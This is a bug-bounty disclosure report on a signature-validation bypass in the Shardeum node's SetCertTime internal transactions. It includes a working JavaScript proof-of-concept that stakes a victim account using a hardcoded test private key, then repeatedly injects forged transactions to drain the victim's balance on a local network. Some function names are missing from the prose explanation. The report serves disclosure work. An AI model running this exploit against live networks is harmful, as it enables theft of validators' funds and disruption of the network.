Network not being able to confirm new transactions (total network shutdown)
Description
Impact
Bypass the signature of SetCertTime transaction, which allows for draining any validators balance.
Note: same impact as report but a different root cause.
Root Cause
There is an inconsistency between the function and the function , specifically with regards to .tx.isInternalTx. This makes it so that SetCertTime transactions with .tx.isInternalTx = true don't undergo SetCertTime validation.
Attack Flow
A malicious user submits a SetCertTime transaction on behalf of someone else (nominator == victim), causing a fee to be deducted from their account. The malicious user can then continue doing so until the node is kicked / drained.
Deep Dive
export function isSetCertTimeTx(tx): boolean {
if (tx.isInternalTx && tx.internalTXType === InternalTXType.SetCertTime) {
return true
}
return false
}
Run the following code, to create a staking account:
import { ethers } from "ethers";
import { fromAscii } from "@ethereumjs/util";
// dont forget to add to src/config.genesis.json in shardeum, see server_genesis.patch
const VICTIM_WALLET = {
address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const JSON_RPC_URL = "http://127.0.0.1:8080";
async function sendStakeTransaction() {
const stake_to_address = "0x0000000000000000000000000000000000010000";
const stake_data = {
stake: 10000000000000000000,
internalTXType: 6, // Stake
nominee: VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0'),
nominator: VICTIM_WALLET.address,
};
const provider = new ethers.providers.JsonRpcProvider(JSON_RPC_URL);
const wallet = new ethers.Wallet(VICTIM_WALLET.privateKey, provider);
const stake_tx = {
to: stake_to_address,
value: BigInt(10000000000000000000),
data: fromAscii(JSON.stringify(stake_data))
};
const tx = await wallet.sendTransaction(stake_tx);
const receipt = await tx.wait();
return receipt;
}
await sendStakeTransaction()
Run the following code, to start draining the staking account:
import axios from "axios";
import crypto from '@shardus/crypto-utils';
crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")
const VICTIM_WALLET = {
address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))
const main = async () => {
console.log("Grabbing Nodelist ....");
let res = await axios.get('http://0.0.0.0:4000/nodelist')
const nodelist = res.data.nodeList
const randomNode = nodelist[Math.floor(Math.random() * nodelist.length)]
const setCertTimeTx = {
tx: {isInternalTx: true},
internalTXType: 5,
nominee: "",
nominator: "",
duration: 19,
timestamp: Date.now() + 1000,
}
setCertTimeTx.nominator = VICTIM_WALLET.address
setCertTimeTx.nominee = VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0');
const nominator = setCertTimeTx.nominator.replace('0x', '').padEnd(64, '0')
const before = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
console.log("Balance and certExp before attack --------------------------------------")
console.log(before.data);
console.log("Constructing InternalTx setCertTime: ", setCertTimeTx)
const url = `http://${randomNode.ip}:${randomNode.port}/bugbounty`
res = await axios.get(url)
if (!res.data.active) {
console.log('ERROR - Attacker node is not active.')
return
}
const CONFIG = res.data
crypto.init(CONFIG['hash_key'])
const ATTACKER_PUBLIC_KEY=CONFIG['public_key']
const ATTACKER_PRIVATE_KEY=CONFIG['private_key']
crypto.signObj(setCertTimeTx, ATTACKER_PRIVATE_KEY, ATTACKER_PUBLIC_KEY)
console.log("Signing InternalTx setCertTime: ", setCertTimeTx)
console.log("Firing InternalTx setCertTime ....")
res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, setCertTimeTx)
if(!res.data.success) throw new Error(res.data.reason)
console.log(`http://${randomNode.ip}:${randomNode.port}/inject`)
console.log("Waiting 120 sec for transaction to be finalized");
await sleep(120000)
const after = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
console.log("Balance and certExp after attack --------------------------------------")
console.log(after.data);
}
main();
NOTE: This POC uses a node as the attacker just because it is guaranteed to have an account and I know its private key. Any account would do.
When validating a SetCertTime transaction, the function which is used to validate transaction fields to decide if it should call which validates properties of the transaction, including .
returns false if tx.isInternalTx isn't set to true, even if tx.internalTXType === InternalTXType.SetCertTime:
When applying a SetCertTime transaction, :
in order to call even if tx.isInternalTx isn't set to true, as long as returns true, which can happen if tx.tx.isInternalTx is true:
The fee is then subtracted from the victim's balance in .
This allows to kick validators and do drain funds, and so it critical.
In addition, this is the same as which was classified as critical.